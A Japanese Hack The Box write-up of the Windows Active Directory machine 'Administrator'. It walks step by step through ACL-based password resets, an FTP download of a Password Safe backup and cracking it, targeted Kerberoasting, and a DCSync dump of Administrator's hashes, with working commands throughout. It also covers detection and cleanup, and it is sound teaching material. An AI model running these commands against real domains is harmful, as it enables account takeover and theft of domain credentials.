HTB Administrator writeup

Machine リリース日 2024年11月9日

執筆日 2024年11月9日

タグ (7)

Hack The Box の許可された隔離ラボのみを対象とする、教育目的の技術 Writeup。

Summary

Administrator は、与えられた初期資格情報から Active Directory の ACL をたどり、カスタムグループを手掛かりにした FTP アクセス、Password Safe V3 バックアップの流出、GenericWrite を使った Targeted Kerberoasting、そしてディレクトリレプリケーション権限を順に組み合わせる Windows AD ボックスだった。記録で確認できる最終到達点は、DCSync による Administrator の NTLM ハッシュと Kerberos キーの取得である。

途中では、Emily から Ethan への権限を GenericAll と誤読し、パスワードリセットを試して失敗した。Access is denied を単なるツールエラーとして無視せず、BloodHound のエッジを読み直した結果、実際の権限が GenericWrite であり、旧パスワードなしのリセット権限は含まれないことが分かった。この失敗が、Ethan の servicePrincipalName を変更する Targeted Kerberoasting へ方針を修正する契機になった。

Box Info

Item	Value
Box	Administrator
Platform	Hack The Box
OS	Windows Server 2022 Build 20348 x64
Difficulty	Medium

Attack Chain

Olivia (初期資格情報)
  |
  | GenericAll / Michael のパスワード変更
  v
Michael
  |
  | ForceChangePassword / Benjamin のパスワード変更
  v
Benjamin
  |
  | MemberOf / カスタム AD グループ
  v
SHARE MODERATORS
  |
  | TCP/21 の FTP と関連付けて調査（サーバー側の認可設定は未確認）
  v
FTP
  |
  | Benjamin の資格情報でログインし、Password Safe V3 バックアップ取得
  v
Emily の保管資格情報
  |
  | GenericWrite / Ethan の servicePrincipalName に一時 SPN
  v
Targeted Kerberoasting
  |
  | TGS のオフライン解析
  v
Ethan の有効な資格情報
  |
  | DS-Replication-Get-Changes + DS-Replication-Get-Changes-All
  v
DCSync (ドメイン ディレクトリ パーティション)
  |
  | Administrator の NTLM ハッシュ / Kerberos キー
  v
Administrator 認証材料（取得済み）

この図は「権限継承」を表していない。たとえば Benjamin が SHARE MODERATORS に所属することから、Emily の権限や Ethan のレプリケーション権限が AD 上で自動的に継承されたわけではない。

実際には、攻撃者が次のように異なる仕組みを橋渡しした。

Benjamin のグループ membership をサービスアクセスのヒントにした。
FTP から暗号化されたバックアップを取得した。
バックアップをオフラインで復号し、Emily の別の資格情報を得た。
Emily の AD ACL を利用して Ethan の属性を書き換えた。
Kerberos の TGS をオフライン解析して Ethan の資格情報を得た。
Ethan に委任されていたドメインレプリケーション権限を使った。

BloodHound のグラフは AD 内の制御関係を可視化するが、FTP、ローカルファイル、パスワード保管庫、オフラインクラックなどは別のデータフローである。攻撃経路を評価するときは、グラフのエッジだけでなく、サービスと資格情報の移動も含める必要がある。

重要なのは、最後に弱いパスワードをクラックできたことだけではない。次の異なるセキュリティ境界が連鎖していた。

AD グループによるサービス認可
FTP によるファイル取得
資格情報保管庫のオフライン解析
AD オブジェクト ACL による属性変更
Kerberos のサービスチケット発行
NTDS レプリケーション権限

Target Details

Item	Value
Hostname	`DC`
Domain	`administrator.htb`
DC FQDN	`dc.administrator.htb`
初期ユーザー	`Olivia`
初期パスワード	`<INITIAL_PASSWORD>`
user flag	取得済み、値はマスク
最終到達点	DCSync により Administrator の NTLM ハッシュと Kerberos キーを取得済み、値はマスク

Initial Enumeration

Nmap

全 TCP ポートに対してサービス・OS 検出を実施した。

nmap -sS -A -p- --min-rate 10000 10.129.28.183

目的は、Web アプリだけを探すのではなく、AD、ファイル共有、リモート管理、ファイル転送に利用できる入口を一度に把握することだった。-sS には通常 root 権限または相当する capability が必要で、-p- は全 65,535 TCP ポート、-A はバージョン・OS・標準スクリプト・traceroute 検出を指示する。

主要な結果は次の通りだった。

21/tcp   open  ftp           Microsoft ftpd
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          administrator.htb
445/tcp  open  microsoft-ds
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp open  mc-nmf        .NET Message Framing

Host script results:
|_clock-skew: 6h59m59s

ここから次を推測した。

88、389、445、9389 の組み合わせから、対象は AD ドメインコントローラーである。
5985 が開いているため、有効な資格情報を得た後に WinRM を確認できる。
21 の Microsoft FTP Service は、AD アカウントや Windows グループによる認可と結び付いている可能性がある。
SMB signing は required だったため、SMB relay を主経路にする優先度は低い。
clock-skew: 6h59m59s は、後で遭遇した KRB_AP_ERR_SKEW を予見できる証拠だった。この時点で Kerberos を使う前に時刻同期を確認すべきだった。

一方、Nmap は retransmission cap hit と報告しており、1,717 ポートが filtered だった。列挙結果は十分な手掛かりを与えたが、完全性を保証するものではない。必要ならレートを落とした再走査や UDP、個別ポートの確認が代替経路になる。

この走査は対象のファイアウォール、IDS、VPN ログから、大量の短時間 TCP 接続として見える。破壊的な変更や後片付けはないが、実務環境ではスキャン許可、帯域、監視通知への影響を先に調整する必要がある。

SMB、LDAP、WinRM

初期資格情報が SMB で有効か確認した。以後の Kerberos/RPC 操作では、dc.administrator.htb を 10.129.28.183 に解決できることが前提となる。

nxc smb 10.129.28.183 \
    -u Olivia -p '<INITIAL_PASSWORD>'

[+] administrator.htb\Olivia:<REDACTED>

SMB 共有と RID を列挙した。

nxc smb 10.129.28.183 \
    -u Olivia -p '<INITIAL_PASSWORD>' \
    --shares --rid-brute

読み取り可能だった主要共有は IPC$、NETLOGON、SYSVOL で、管理共有 ADMIN$ と C$ への権限は表示されなかった。RID brute では、Olivia、Michael、Benjamin、Emily、Ethan、Alexander、Emma と、Share Moderators グループを確認した。

LDAP ではユーザーとグループを列挙した。

nxc ldap 10.129.28.183 \
    -u Olivia -p '<INITIAL_PASSWORD>' \
    --users --group

ドメインには組み込みアカウントのほか、次の一般ユーザーが存在した。

olivia
michael
benjamin
emily
ethan
alexander
emma

WinRM も確認した。

netexec winrm 10.129.28.183 \
    -u Olivia -p '<INITIAL_PASSWORD>'

[+] administrator.htb\Olivia:<REDACTED> (Pwn3d!)

ここまでで、初期アカウントは SMB、LDAP、WinRM に利用できるが、管理共有には到達していないことが分かった。次に必要なのはローカル脆弱性の探索より、Olivia が AD オブジェクトに対して持つ委任権限の確認だった。

代替手法として、ldapsearch、PowerView、SharpHound、smbclient、Impacket の各列挙ツールを利用できる。重要なのはツール名ではなく、ユーザー・グループ・コンピューター・ACL・セッション・リモート管理権限を同じ主体 ID で関連付けることである。

BloodHound Analysis

RustHound-CE で AD オブジェクトと ACL を収集した。

rusthound-ce \
    -d administrator.htb \
    -f dc.administrator.htb \
    -u Olivia \
    -p '<INITIAL_PASSWORD>' \
    -c All \
    --zip

記録では 11 users、61 groups、1 computer、1 OU、1 domain、2 GPOs などが解析された。

user flag までの重要な関係は次の通りだった。

Olivia は Michael に対して GenericAll
Michael は Benjamin に対して ForceChangePassword
Benjamin は SHARE MODERATORS のメンバー
Olivia と Michael は WinRM を利用可能

この ACL を実操作に落とし、Olivia の GenericAll で Michael のパスワードをリセットした。

bloodyad \
    --host 10.129.28.183 \
    -d administrator.htb \
    -u Olivia \
    -p '<INITIAL_PASSWORD>' \
    set password Michael '<NEW_MICHAEL_PASSWORD>'

[+] Password changed successfully!

続いて、Michael の ForceChangePassword で Benjamin のパスワードをリセットした。

bloodyad \
    --host 10.129.28.183 \
    -d administrator.htb \
    -u Michael \
    -p '<NEW_MICHAEL_PASSWORD>' \
    set password Benjamin '<NEW_BENJAMIN_PASSWORD>'

[+] Password changed successfully!

どちらも「パスワードを知った」のではなく、攻撃者が新しい値に変更した操作である。利用者のログオンやサービスを壊す可能性があり、イベント ID 4724、アカウント管理監査、LDAP/SAMR 通信、コマンドラインから検知できる。ラボリセット以外で元に戻すには元パスワードが必要だが、元の値は記録されていない。

BloodHound の読み方で修正した点

system 側の最初のメモには「Emily から Ethan が GenericAll」と書かれていた。しかし、パスワードリセットの失敗後にエッジを見直すと、実際は GenericWrite だった。

また、Ethan の GetChanges、GetChangesAll、GetChangesInFilteredSet の宛先は Administrator ユーザー個人ではない。宛先は administrator.htb のドメインオブジェクト、すなわちドメイン Naming Context のルートである。この区別は DCSync の仕組みを理解するうえで重要である。

BloodHound の表示を確認するときは、次の3点を同時に見る必要がある。

エッジ名
source と destination のオブジェクト種別
ACE が直接付与か、グループ経由か、継承か

必要なら Get-Acl AD:\...、PowerView の Get-DomainObjectAcl、LDAP の nTSecurityDescriptor 取得などで裏取りできる。今回はその追加出力は記録されていない。

標準グループではない

SHARE MODERATORS は Windows や IIS FTP が自動的に作る標準グループではなく、この Box 内のカスタム AD グループである。

根拠は次の通り。

Microsoft の既定の Active Directory セキュリティグループ一覧に SHARE MODERATORS は存在しない。
RID brute では Share Moderators が RID 1111 の SidTypeAlias として列挙された。
LDAP では CN=Share Moderators,CN=Users,DC=administrator,DC=htb として存在し、Benjamin が member だった。
Administrators、Backup Operators、Domain Admins などの well-known/default group とは名称、RID、用途が異なる。

membership を LDAP で確認した。

ldapsearch -x \
    -H ldap://dc.administrator.htb \
    -D 'olivia@administrator.htb' \
    -w '<INITIAL_PASSWORD>' \
    -b 'DC=administrator,DC=htb' \
    '(&(objectClass=group)(sAMAccountName=Share Moderators))' \
    distinguishedName member description groupType

dn: CN=Share Moderators,CN=Users,DC=administrator,DC=htb
member: CN=Benjamin Brown,CN=Users,DC=administrator,DC=htb
groupType: -2147483644

グループ名は権限そのものではない

AD グループは、メンバーのアクセストークンへ SID を与える。実際の権限は、リソース側がその SID を DACL や認可規則で参照したときに発生する。

SHARE MODERATORS の SID
  ├─ FTP Authorization Rules
  ├─ FTP ルートの NTFS ACL
  ├─ SMB の Share ACL
  ├─ アプリケーションの RBAC
  └─ ローカルグループや別グループへのネスト

したがって、SHARE MODERATORS という名前自体に FTP の読み取り能力が内蔵されているわけではない。IIS FTP の認可規則は任意の role/user group を roles に指定し、Read や Write を付与できる。さらに実ファイルへアクセスするには、FTP の認可だけでなく NTFS ACL も通過する必要がある。

今回、サーバー側の applicationHost.config、FTP Authorization Rules、FTP ルートの NTFS ACL は確認していない。このため、

Benjamin が SHARE MODERATORS に所属していたため FTP へログインできた

という因果関係は妥当な推測ではあるが、設定レベルでは未証明である。確認済みの事実は次の2点である。

Benjamin は SHARE MODERATORS のメンバーだった。
Benjamin の資格情報で FTP ログインと Backup.psafe3 の取得に成功した。

なぜ FTP を試したか

BloodHound で membership を見た時点で、SHARE という名称だけなら SMB、FTP、Web 公開領域のどれかは分からない。しかし初期 Nmap で TCP/21 の Microsoft FTP Service が既に確認されていた。そこで、

既知のサービス: FTP
        +
カスタムグループ: SHARE MODERATORS
        +
グループメンバー: Benjamin

を関連付け、Benjamin で FTP を試す価値があると判断した。これは「名前を信じた」のではなく、サービス列挙と AD の認可主体を突き合わせた結果である。

ftp Benjamin@administrator.htb
Password: <NEW_BENJAMIN_PASSWORD>

230 User logged in.
ftp> ls
Backup.psafe3
ftp> get Backup.psafe3

Backup.psafe3 952 bytesの取得に成功した。記録では ASCII mode のまま取得し、bare linefeed の警告が出ていた。

WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.

その後 file と Password Safe 解析に成功しているため、今回のコピーは利用可能だった。しかしバイナリファイルの取得では、再現時に次を先に指定すべきである。

ftp> binary
ftp> get Backup.psafe3

これは推奨手順であり、記録上は実行されていない。

代替手法として lftp や curl を使うこともできる。防御側では FTP 認証ログ、接続元、RETR Backup.psafe3、転送バイト数、ファイルサーバー側のオブジェクトアクセス監査を相関できる。ただし FTP サービスログやファイル SACL が有効でなければ、ファイル名まで残らない可能性がある。

Password Safe Backup Analysis

ファイル形式の特定

file Backup.psafe3

Backup.psafe3: Password Safe V3 database

Password Safe の仕様では、データベースはマスターパスワードから導出した鍵で暗号化され、マスターパスワード自体がそのままデータベースに保存されるわけではない。バックアップも元データベースと同じマスターパスワードで暗号化される。

pwsafe2john で John the Ripper が検証できる形式へ変換した。

pwsafe2john Backup.psafe3 > backup.hash

この backup.hash は AD ユーザーの NTLM ハッシュではない。Password Safe データベースを開けるパスワード候補をオフライン検証するためのデータである。

john --wordlist=/usr/share/wordlists/rockyou.txt backup.hash

記録ではマスターパスワードの解析に成功した。値は <PWSAFE_MASTER_PASSWORD> としてマスクする。

最初のパスワードはログオンパスワードではなかった

当初、この値をドメインユーザーに対して試したが、Emily、Ethan、Alexander、Emma の AD 認証には使えなかった。

この失敗は当然である。得られたのは、

Password Safe を復号するためのマスターパスワード

であり、

新しい AD ユーザーのログオンパスワード

ではなかった。

マスターパスワードで保管庫を復号した。

psafe3dump \
    Backup.psafe3 \
    '<PWSAFE_MASTER_PASSWORD>'

復号結果には次の3エントリが含まれていた。パスワード値はすべてマスクする。

エントリ	保存されたユーザー名	保存されたパスワード	AD/WinRM での結果
Alexander Smith	`alexander`	`<ALEXANDER_STORED_PASSWORD>`	失敗
Emma Johnson	`emma`	`<EMMA_STORED_PASSWORD>`	失敗
Emily Rodriguez	`emily`	`<EMILY_STORED_PASSWORD>`	成功

3種類の「パスワード」

種別	何を保護・認証するか	今回の確認方法	結果
データベースのマスターパスワード	`Backup.psafe3` 全体の復号鍵を導出する	`john` と `psafe3dump`	保管庫を開けたが、AD ログオンには失敗
データベース内の各エントリのパスワード	保管庫利用者が保存した Alexander、Emma、Emily 用の秘密	復号後のエントリ	3件取得
AD で実際に有効な資格情報	現在の DC がそのユーザーに対して受理する秘密	`nxc winrm`、必要に応じて SMB	Emily のみ成功

保管庫に保存された値は「ある時点の記録」であり、現在も有効とは限らない。Alexander と Emma の失敗は、パスワード変更、アカウント状態、ログオン権限、対象サービスの制約など複数の原因が考えられる。記録では WinRM の失敗理由をさらに切り分けていないため、単に「パスワードが誤っている」と断定はできない。

一方、Emily の組み合わせは WinRM で成功したため、「保管庫内の値」から「AD で現在有効な資格情報」へ昇格した。

実務上のリスク

資格情報保管庫は暗号化されていても、ファイルを持ち出されると攻撃者は監視のないオフライン環境でマスターパスワード候補を試せる。一つの弱いマスターパスワードが破られると、保管庫内の複数アカウントが同時に露出する。

さらに今回のように保存値が AD アカウントで再利用できると、

共有ファイル1個の流出
  → 保管庫全体の復号
  → 複数ユーザーの候補取得
  → 有効な AD 資格情報の発見
  → 横展開

となる。保管庫バックアップは暗号化の有無だけでなく、保管場所、読み取り主体、マスターパスワード強度、MFA/ハードウェア要素、保存するアカウントの Tier、ローテーション状況をまとめて管理する必要がある。

サーバー側には、Backup.psafe3 を取得した後の john や psafe3dump の痕跡は通常見えない。観測点は FTP での持ち出しまでであり、その時点で止めることが重要である。攻撃端末の EDR ではツール実行、ハッシュファイル、復号後の平文出力が見える可能性がある。

Emily Access

抽出した値を WinRM に対して検証した。記録では復号した候補の組み合わせを --continue-on-success で確認している。以下は、成功した Emily の組み合わせに絞った再現用コマンドである。

nxc winrm dc.administrator.htb \
    -u emily \
    -p '<EMILY_STORED_PASSWORD>'

--continue-on-success は1件成功した後も残りを検証する指定である。多数の組み合わせを試すとアカウントロックアウトや監視アラートを引き起こすため、実務環境では許容回数、ロックアウトポリシー、既知のユーザーとパスワードの対応を確認すべきである。

記録では Emily の保存資格情報だけが WinRM で成功した。

[+] administrator.htb\emily:<REDACTED> (Pwn3d!)

Emily として WinRM に接続した。

evil-winrm-py \
    -i dc.administrator.htb \
    -u emily \
    -p '<EMILY_STORED_PASSWORD>'

C:\Users\emily\Desktop に user.txt が存在し、読み取りに成功した。フラグ値は [REDACTED] としてマスクする。

この時点の主な観測点は WinRM Operational ログ、Windows Security 4624、ネットワーク上の WS-Man/HTTP、PowerShell ロギング、EDR のプロセス・スクリプト監視である。どのイベントが残るかは監査構成に依存する。

GenericWrite Misread and Failure

最初の誤った仮説

最初は BloodHound のエッジを Emily --GenericAll--> Ethan と読み、Olivia から Michael で成功したのと同じように Ethan のパスワードをリセットできると考えた。

まず bloodyAD で試した。

bloodyad \
    --host 10.129.28.183 \
    -d administrator.htb \
    -u emily \
    -p '<EMILY_STORED_PASSWORD>' \
    set password Ethan '<ATTEMPTED_ETHAN_PASSWORD>'

LDAPModifyException: Password can't be changed.
It may be because the oldpass provided is not valid.

このメッセージだけでは、権限不足、プロトコルの違い、パスワードポリシー、旧パスワード処理のどれかを確定できない。そこで Emily の WinRM セッションから Active Directory cmdlet を使い、-Reset を明示して再確認した。

$newPassword = ConvertTo-SecureString `
    '<ATTEMPTED_ETHAN_PASSWORD>' `
    -AsPlainText -Force

Set-ADAccountPassword `
    -Identity ethan `
    -Reset `
    -NewPassword $newPassword

Access is denied

別の手段でも拒否されたため BloodHound を見直し、実際のエッジが GenericWrite だと修正した。失敗した2コマンドは削除すべきノイズではなく、仮説と観測結果が一致しないときに「ACL を再確認する」という判断材料になった。

GenericAll、GenericWrite、ForceChangePassword、WriteDacl、WriteOwner

Microsoft の ActiveDirectoryRights と BloodHound のエッジ定義を基に整理すると次のようになる。

権限	実際の意味	パスワードリセットとの関係	代表的な悪用
`GenericAll`	対象オブジェクトへの包括的な制御。属性書き込み、extended right、DACL/owner 変更などを広く含む	ユーザーに対する full control なら通常リセット可能	パスワードリセット、SPN変更、Shadow Credentials、DACL変更
`GenericWrite`	保護されていない属性への書き込みと validated write	通常、`User-Force-Change-Password` extended right を含まない	`servicePrincipalName` など、書き込みを許可された属性の変更
`ForceChangePassword`	`User-Force-Change-Password`、表示名 Reset Password	旧パスワードなしで対象ユーザーをリセットできる	委任されたヘルプデスク操作、アカウント奪取
`WriteDacl`	対象の DACL を変更できる	自分へ `GenericAll` や `ForceChangePassword` の ACE を追加して間接的に可能	任意 ACE の付与
`WriteOwner`	対象の owner を変更できる	owner 取得後に DACL を変更し、必要な権限を追加する経路になる	owner 変更 → WriteDacl → GenericAll

unicodePwd やパスワードリセットは、単純な通常属性の上書きではなく特別なアクセスチェックとプロトコル処理を受ける。User-Force-Change-Password extended right は、ユーザーのパスワードを reset するための明示的な権限である。したがって GenericWrite を「何でも書けるからパスワードも変えられる」と解釈するのは誤りである。

今回の対応関係は次の通り。

Olivia → Michael は GenericAll だったため、パスワードリセットに成功した。
Michael → Benjamin は ForceChangePassword だったため、パスワードリセットに成功した。
Emily → Ethan は GenericWrite だったため、同じ操作は Access is denied になった。
WriteDacl と WriteOwner は比較対象であり、今回の記録上の主経路では使用していない。

失敗したため Ethan のパスワード変更という副作用は発生していない。ただし PowerShell、LDAP 接続、EDR テレメトリは残り得る。イベント ID 4724 はパスワードリセット試行を記録するが、Microsoft の仕様では Access Denied になった reset が必ず Failure 4724 を生成するわけではない。検知を4724だけに依存してはいけない。

Targeted Kerberoasting

なぜ GenericWrite から Kerberoasting へ進めるのか

BloodHound の GenericWrite は、ユーザーオブジェクトに対する場合、servicePrincipalName などの非保護属性を書き換えられる可能性を示す。Ethan のパスワードはリセットできなくても、SPN を追加できれば Ethan を一時的に Kerberoasting 対象にできる。

Kerberos では、SPN が「どの AD アカウントがそのサービスを表すか」を KDC に示す。認証済みドメインユーザーは、SPN を指定して TGS を要求できる。実際のサービスプロセスが起動していることは TGS 発行の必須条件ではなく、KDC が SPN とアカウントの対応を AD で解決できることが重要である。

RFC 4120 では、サービスチケットの暗号化部分は原則としてサービス主体の秘密鍵で封印される。Windows AD のユーザーへ SPN を設定すると、そのユーザーの長期鍵がサービス鍵になる。

攻撃者が得る TGS には既知の構造と完全性情報があるため、次の検証をオフラインで繰り返せる。

候補パスワード
  → Kerberos 長期鍵を導出
  → TGS の暗号・チェックサムを検証
  → 正しい候補か判定

DC へ候補を一つずつ送らないため、アカウントロックアウトは起きず、TGS 取得後の辞書攻撃はサーバー側から見えない。今回得られた形式は $krb5tgs$23、Hashcat mode 13100 で、暗号タイプは RC4-HMAC の etype 23 だった。

通常の Kerberoasting との違い

項目	通常の Kerberoasting	Targeted Kerberoasting
対象	既に SPN を持つサービスアカウント	攻撃者が属性を書ける、元は SPN を持たないユーザー
事前条件	有効なドメイン認証と対象 SPN	有効なドメイン認証、対象への `WriteSPN`/`GenericWrite` 相当
AD 変更	通常なし	一時 SPN の追加と削除
検知点	TGS 要求	SPN 変更 + 直後の TGS 要求 + SPN 削除
運用リスク	チケット要求の増加	SPN 衝突、認証障害、後片付け漏れ

既存 SPN の確認

最初に Ethan の現在値を確認した。

Get-ADUser ethan -Properties servicePrincipalName |
    Select-Object -ExpandProperty servicePrincipalName

記録上、出力は空だった。

これは「既存値を全部置換してよい」という意味ではない。読み取りと追加の間に別の管理操作が入る可能性もあるため、-Clear や -Replace で全値を消すのではなく、自分の値だけを -Add した。

Set-ADUser `
    -Identity ethan `
    -Add @{
        servicePrincipalName = 'HTTP/ethan-temp.administrator.htb'
    }

再確認すると、追加値が表示された。

HTTP/ethan-temp.administrator.htb

SPN は Kerberos の主体解決に使われるため一意である必要がある。Microsoft の SPN uniquenessによると、対応する DC/機能レベルでは同じ SPN が forest 内の別オブジェクトに存在すると ERROR_DS_SPN_VALUE_NOT_UNIQUE_IN_FOREST で更新が拒否される。重複 SPN は認証障害の原因にもなるため、一時値も衝突しにくい名称を選ぶ必要がある。

最初の TGS 要求は時刻ずれで失敗

NetExec で Kerberoast material を ethan.hash に保存しようとした。

nxc ldap dc.administrator.htb \
    -u emily \
    -p '<EMILY_STORED_PASSWORD>' \
    --kerberoasting ethan.hash

ここで ethan.hash は対象ユーザー指定ではなく出力ファイル名である。この実行で返却された roastable record は Ethan の1件であり、記録には Total of records returned 1 とある。初期 SPN が空で追加後に Ethan が返ったことから、追加した SPN がこの結果を生んだと判断できる。

最初は Kerberos の時刻ずれで失敗した。

KRB_AP_ERR_SKEW (Clock skew too great)

そこでローカルの自動時刻同期を停止し、対象ドメインへ時刻を合わせた。

sudo systemctl stop systemd-timesyncd
sudo ntpdate administrator.htb

この操作は攻撃端末全体の時計を約7時間進める副作用があり、他のログ時刻、ブラウザ、証明書検証、別セッションに影響し得る。作業後に通常の時刻同期へ戻す必要があるが、その復旧コマンドは記録されていない。

時刻同期後に同じ NetExec コマンドを再実行すると、Ethan の TGS material を取得できた。

sAMAccountName: ethan
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$<REDACTED>

「エラーが出たのでツールを変える」のではなく、KRB_AP_ERR_SKEW が Kerberos の前提条件違反を明示しているため、原因を修正して同じ操作を再試行した。

オフライン解析

hashcat ethan.hash /usr/share/wordlists/rockyou.txt

Hashcat は形式を 13100 | Kerberos 5, etype 23, TGS-REP と自動判定し、辞書内から Ethan のパスワードを回収した。値は <ETHAN_PASSWORD> としてマスクする。

Status: Cracked
Recovered: 1/1
Password: <REDACTED>

SMB で AD 資格情報として有効か確認した。

nxc smb dc.administrator.htb \
    -u ethan \
    -p '<ETHAN_PASSWORD>'

[+] administrator.htb\ethan:<REDACTED>

これにより、「TGS の候補が見つかった」だけでなく、「現在の AD が Ethan の資格情報として受理した」ことまで確認できた。

成立しない場合

Targeted Kerberoasting は SPN を追加できれば必ずパスワードが得られる攻撃ではない。長くランダムなパスワード、gMSA のような自動管理された高エントロピー秘密、辞書にない値であれば、TGS は取得できてもオフライン探索が実用時間内に終わらない。

したがって成立条件は、

SPN 書き込み権限
  × TGS 要求可能
  × オフライン検証可能な暗号材料
  × 探索可能なパスワード強度

である。今回の設計問題は GenericWrite 単体ではなく、Ethan の弱いパスワードとの組み合わせにあった。

SPN の後片付け

追加した値だけを削除する。

Set-ADUser `
    -Identity ethan `
    -Remove @{
        servicePrincipalName = 'HTTP/ethan-temp.administrator.htb'
    }

Get-ADUser ethan -Properties servicePrincipalName |
    Select-Object -ExpandProperty servicePrincipalName

-Clear servicePrincipalName や全値の -Replace は、正規サービスの SPN まで削除して障害を起こす可能性がある。この削除と検証は作業記録には存在せず、未実施または未確認である。Box をリセットしない場合は要対応となる。

代替手法として、TGS 要求には Impacket GetUserSPNs.py -request-user ethan、PowerView Get-DomainSPNTicket、Rubeus などがある。これらは既存 SPN の照会・TGS 要求に使うものであり、Targeted Kerberoasting では別途 PowerShell や LDAP 操作で SPN を追加しなければならない。共通する流れは、SPN の追加、TGS の要求、オフライン解析、追加した SPN の限定削除である。

Ethan Replication Rights

BloodHound の表示では Ethan から ADMINISTRATOR.HTB のドメインオブジェクトへ、次の3エッジを確認した。個別 ACE の生出力は記録にないが、後述の DRSUAPI による DCSync 成功が、少なくとも必要な実効レプリケーション権限を裏付けている。

権限	Extended Right の GUID	意味	今回の位置付け
`DS-Replication-Get-Changes`	`1131f6aa-9c07-11d1-f79f-00c04fc2dcd2`	ディレクトリパーティション（Naming Context）の変更をレプリケーションで取得する	一般的な DCSync 成立に必要な権限の一つ
`DS-Replication-Get-Changes-All`	`1131f6ad-9c07-11d1-f79f-00c04fc2dcd2`	秘密属性を含むドメインデータの変更をレプリケーションで取得する	パスワード由来データの取得に関わる中核
`DS-Replication-Get-Changes-In-Filtered-Set`	`89e95b76-444d-4c62-991a-0facbeda640c`	Filtered Attribute Set に含まれる属性のレプリケーションを取得する	RODC 向け属性フィルタリング等に関係する追加権限

ここでの対象は Administrator ユーザー個人ではない。ACL はドメインのディレクトリパーティションを表すドメインオブジェクトに設定され、その配下のアカウント情報をレプリケーション API で取得できる状態だった。

3権限を一括して「DCSync権限」と呼ぶだけでは、それぞれの役割を見失う。GetChanges は Naming Context の通常の変更レプリケーション、GetChangesAll は秘密を含む全変更の取得に関係する。一般的な DCSync の成立判定では、この2つの組み合わせが中心になる。GetChangesInFilteredSet は RODC の Filtered Attribute Set などに関係するが、今回これも付与されていたから初めて DCSync が成立した、とまではいえない。

Microsoft のスキーマ資料も、GetChanges、GetChangesAll、GetChangesInFilteredSet を別々の Extended Right として定義している。Filtered Attribute Set と RODC の関係は RODC and Active Directory schema に説明されている。

なぜ Ethan は Tier 0 相当か

ドメインの資格情報データを複製できる主体は、Domain Admins の直接メンバーでなくても、結果としてドメイン全体の認証秘密に到達できる。したがって Ethan は権限設計上 Tier 0 相当として扱い、対話ログオン先、資格情報の強度、委任 ACL、監視を Domain Admins と同水準で保護すべきだった。

さらに重要なのは、Emily が Ethan の SPN を書き換えられたことである。

Emily --GenericWrite--> Ethan --GetChanges + GetChangesAll--> Domain

Emily 自身にレプリケーション権限が直接付いていなくても、Ethan を侵害できる Inbound Control Right があるため、攻撃経路上は Emily も Tier 0 へ到達可能だった。強い権限を持つアカウントだけを見るのではなく、そのアカウントを制御できる全主体を逆向きにレビューする必要がある。

DCSync

DCSync は何をしているのか

DCSync は、DC へ対話ログオンして ntds.dit を直接開く操作ではない。DC 同士が NTDS の変更を複製するために利用する DRSUAPI / MS-DRSR を介し、レプリケーションを要求できる主体として DC に資格情報データを要求する。

中心となるリモート呼び出しは IDL_DRSGetNCChanges であり、Microsoft の MS-DRSR 仕様に定義されている。概念上の流れは次のとおりである。

sequenceDiagram
    participant A as 攻撃端末（Ethan）
    participant DC as Domain Controller
    A->>DC: RPC Endpoint Mapper / DRSUAPI 接続
    A->>DC: ディレクトリ複製要求
    DC->>DC: Ethan のレプリケーション権限を評価
    DC-->>A: 対象オブジェクトの資格情報データ
    Note over A: NTLM ハッシュ、Kerberos キー等を保存

ntds.dit 全体をファイルとして取得するのではなく、レプリケーション結果として NTLM ハッシュや Kerberos AES/DES キー等が返る。ディレクトリ DB ファイルへのローカル読み取り検知だけでは捉えられず、ネットワーク上の RPC とディレクトリアクセス監査が重要になる。

記録された実行

Ethan の有効な資格情報を使い、Administrator 一人に対象を限定した。

secretsdump.py \
    -just-dc-user Administrator \
    'administrator.htb/ethan:<ETHAN_PASSWORD>@dc.administrator.htb'

前提は、Ethan の認証が成功すること、DC の名前解決と RPC 到達性があること、ドメインオブジェクト上で必要なレプリケーション権限が評価されることである。記録には Using the DRSUAPI method to get NTDS.DIT secrets があり、Administrator の NTLM ハッシュと Kerberos キーが出力された。値はすべて <REDACTED> とする。

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:<REDACTED>:<REDACTED>:::
Administrator:aes256-cts-hmac-sha1-96:<REDACTED>
Administrator:aes128-cts-hmac-sha1-96:<REDACTED>

-just-dc-user Administrator は対象ユーザーだけを要求するため、ドメイン全体を取得する -just-dc より出力量と露出を抑えられる。ただし、DCSync という高リスク操作であることは変わらない。対象限定はレプリケーション権限そのものを弱くするものでもない。

失敗する代表的な原因には、GetChanges / GetChangesAll の不足、誤った資格情報、DNS・RPC・SMB の到達性、時刻や Kerberos の問題、DC 側の保護・監視製品による遮断がある。操作は原則として AD オブジェクトを変更しないが、取得したハッシュやキーは強い秘密情報であるため、安全な保管と作業後の消去が必要になる。

代替手法には Mimikatz の lsadump::dcsync、NetExec の DCSync 機能などがある。DC 上で Volume Shadow Copy を作成して ntds.dit と SYSTEM hive を取得する手法は、同じ資格情報取得でも仕組みと必要権限、痕跡が異なる。

Root / Administrator Access

作業記録で確認できる最終操作は、DCSync による Administrator の NTLM ハッシュおよび Kerberos キーの取得である。これは Administrator として認証できる材料の取得であり、本稿ではこの DCSync 成功を Administrator 到達の確認条件とする。

secretsdump.py の出力には NTLM ハッシュ、AES256/AES128 キー、DES キーが含まれていた。値と flag は本文へ転記せず、すべて <REDACTED> として扱う。DCSync 後に別のプロトコルで認証する手順は、この攻撃経路を立証するためには追加で必要ないため、記録にない操作を攻撃経路へ加えない。

Defense and Detection

段階	観測され得る痕跡	解釈・注意点
初期列挙	FTP/LDAP/SMB/WinRM への接続、Nmap の大量 SYN	許可されたスキャナ、管理ツールによる誤検知を除外するため送信元・時間・担当者を相関する
FTP	FTP ログイン、一覧、ファイルダウンロード、転送量	`Password Safe` バックアップの取得は通常業務の転送と区別し、ファイル名・サイズ・利用者を記録する
パスワード変更	4724（リセット試行）、LDAP/SAMR 操作	Olivia→Michael、Michael→Benjamin の変更は本人の旧パスワードを必要としない委任操作だった
SPN 変更	5136（`servicePrincipalName` 属性変更）	追加直後に未知の SPN が現れ、短時間で削除される相関は強いシグナル
TGS 要求	4769 の Service Name（`HTTP/ethan-temp.administrator.htb`）と Ticket Encryption Type	SPN 追加直後の RC4/etype 23 要求、通常利用しない送信元、短時間の反復を相関する
